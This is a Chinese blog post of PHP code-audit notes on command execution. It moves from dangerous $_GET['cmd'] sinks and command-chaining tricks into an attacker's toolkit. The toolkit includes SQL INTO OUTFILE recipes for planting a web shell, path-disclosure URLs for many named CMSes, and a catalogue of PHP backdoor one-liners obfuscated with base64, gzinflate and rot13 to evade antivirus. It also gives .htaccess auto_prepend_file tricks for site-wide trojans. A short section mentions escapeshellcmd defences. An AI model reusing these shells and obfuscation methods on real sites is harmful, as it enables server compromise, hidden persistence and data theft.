前言
近期在学习php的代码审计,推一下这本书啊代码审计 企业级Web代码安全架构_尹毅著。
前篇文章介绍过代码执行了,现在写写命令执行。
命令执行就是执行命令,执行win和Linux的系统命令
php中有好几个可以执行系统命令的函数,我大体分了两类(有返回结果和无返回结果)
返回执行结果
直接传入命令并函数返回执行结果
system($_GET['cmd']);
//直接回显结果打印输出
1
2
echo exec($_GET['cmd']);
//执行参数指定的命令
1
2
passthru($_GET['cmd']);
//执行外部程序并显示原始输出
1
2
echo shell_exec($_GET['cmd']);
//通过shell环境执行命令。并将完整的输出以字符串方式返回
1
2
echo `$_GET['cmd']`;
//反引号也执行命令,原理是调用shell_exec()
1
2
无返回执行结果
不返回执行结果,返回文件指针,但是命令执行了
popen($_GET['cmd'],'w');//r,w代表读写
popen('whoami >> D:/2.txt','r');//将信息写入文件
1
2
proc_open($_GET['cmd']);
1
命令执行小技巧
1.在命令执行过程中,我们会遇到空格被删除或者替换的情况
在Win中:用=代替空格
$cmd="type=../1.txt";
system($cmd);
1
2
linux中:用<代替空格
$cmd="cat<../2.txt";
system($cmd);
1
2
2.在命令执行过程中,我们会进行多条命令执行
在Win中:
连续运算符 &,前面执行正常或者错误,后面都能执行。
&& 前面执行错误,后面就不能执行命令。
$cmd="ipconfig&whoami";
system($cmd);
1
2
在Linux中:
分号; 是连续运算符,连接执行的语句
$cmd="ifconfig;whoami;";
system($cmd);
1
2
防范措施
php有自带的命令防注入函数escapeshellcmd()和escapshellarg()
escapshellcmd()过滤整条命令
escapshellarg()是保证传入命令执行函数里的参数以字符串参数形式存在
注意escapeshellcmd() 和 escapeshellarg 一起使用,会造成特殊字符逃逸。
==================================================================
php后台拿shell要知道php的路径,文章下将讲诉爆php路径的方法!!!
方法一:
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同时执行,在数据库: mysql 下创建一个表名为:xiaoma,字段为xiaoma1,导出到E:/wamp/www/7.php
一句话连接密码:xiaoma
方法二:
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;
方法三:
读取文件内容: select load_file('E:/xamp/www/s.php');
写一句话:select ''INTO OUTFILE 'E:/xamp/www/xiaoma.php'
cmd执行权限:select '\';system($_GET[\'cmd\']); echo \'\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
方法四:
select load_file('E:/xamp/www/xiaoma.php');
select '\';system($_GET[\'cmd\']); echo \'\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录:http://www.xxxx.com/xiaoma.php?cmd=dir
php爆路径方法收集 :
1、单引号爆路径
说明:
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′
2、错误参数值爆路径
说明:
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
3、Google爆路径
说明:
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
4、测试文件爆路径
说明:
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
5、phpmyadmin爆路径
说明:
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。PS:有些BT网站会写成phpMyAdmin。
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php
6、配置文件找路径
说明:
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
7、nginx文件类型错误解析爆路径
说明:
这是昨天无意中发现的方法,当然要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
www.xxx.com/top.jpg/x.php
8、其他
dedecms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php
WP
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
ecshop商城系统暴路径漏洞文件
/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php
ucenter爆路径
ucenter\control\admin\db.php
DZbbs
manyou/admincp.php?my_suffix=%0A%0DTOBY57
z-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
php168爆路径
admin/inc/hack/count.php?job=list
admin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
cache/MysqlTime.txt
PHPcms2008-sp4
注册用户登陆后访问
phpcms/corpandresize/process.php?pic=../images/logo.gif
bo-blog
PoC:
/go.php/<[evil code]
CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
lib/default/special_act.php
===========================================================
php后门木马常用的函数大致上可分为四种类型:
1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
1. 执行系统命令:
system 函数
//test.php?cmd=ls
system($_GET[cmd]);
passthru 函数
//test.php?cmd=ls
passthru($_GET[cmd]);
shell_exec 函数
//test.php?cmd=ls
echo shell_exec($_GET[cmd]);
exec 函数
//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);
popen 函数
//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
proc_open 函数
//test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
print_r($output);
2. 代码执行与加密:
eval 函数
//最常见的一句话木马
eval($_POST[cmd]);
base64_decode 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
gzinflate 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
gzuncompress 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
gzdecode 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
str_rot13 函数
//为了免杀及隐藏而加密代码
//密文: eval($_POST[cmd]);
eval(str_rot13('riny($_CBFG[pzq]);'));
assert 函数
//类似eval函数
assert($_POST[cmd]);
call_user_func 函数
//使用call_user_func调用assert
call_user_func('assert',$_POST[cmd]);
call_user_func 函数
//使用call_user_func调用任意函数
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);
组合代码
//组合方式调用任意函数
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);
3. 文件包含与生成:
require 函数
//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);
require_once 函数
//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);
include 函数
//包含任意文件 www.chnhack.com
//test.php?file=123.jpg
include($_GET[file]);
include_once 函数
//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);
file_get_contents 函数
//读取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);
file_put_contents 函数
//生成任意内容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);
fputs 函数
//生成任意内容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);
4. .htaccess:
SetHandler
//可将php代码存于非php后缀文件,例: x.jpg
//将以下代码写入.htaccess中
//连接x.jpg即可启动后门木马出处www.admin8.us
SetHandler application/x-httpd-php
auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马
php_value auto_prepend_file c:/apache2/htdocs/123.gif
auto_append_file
//类似auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
php_value auto_append_file c:/apache2/htdocs/123.gif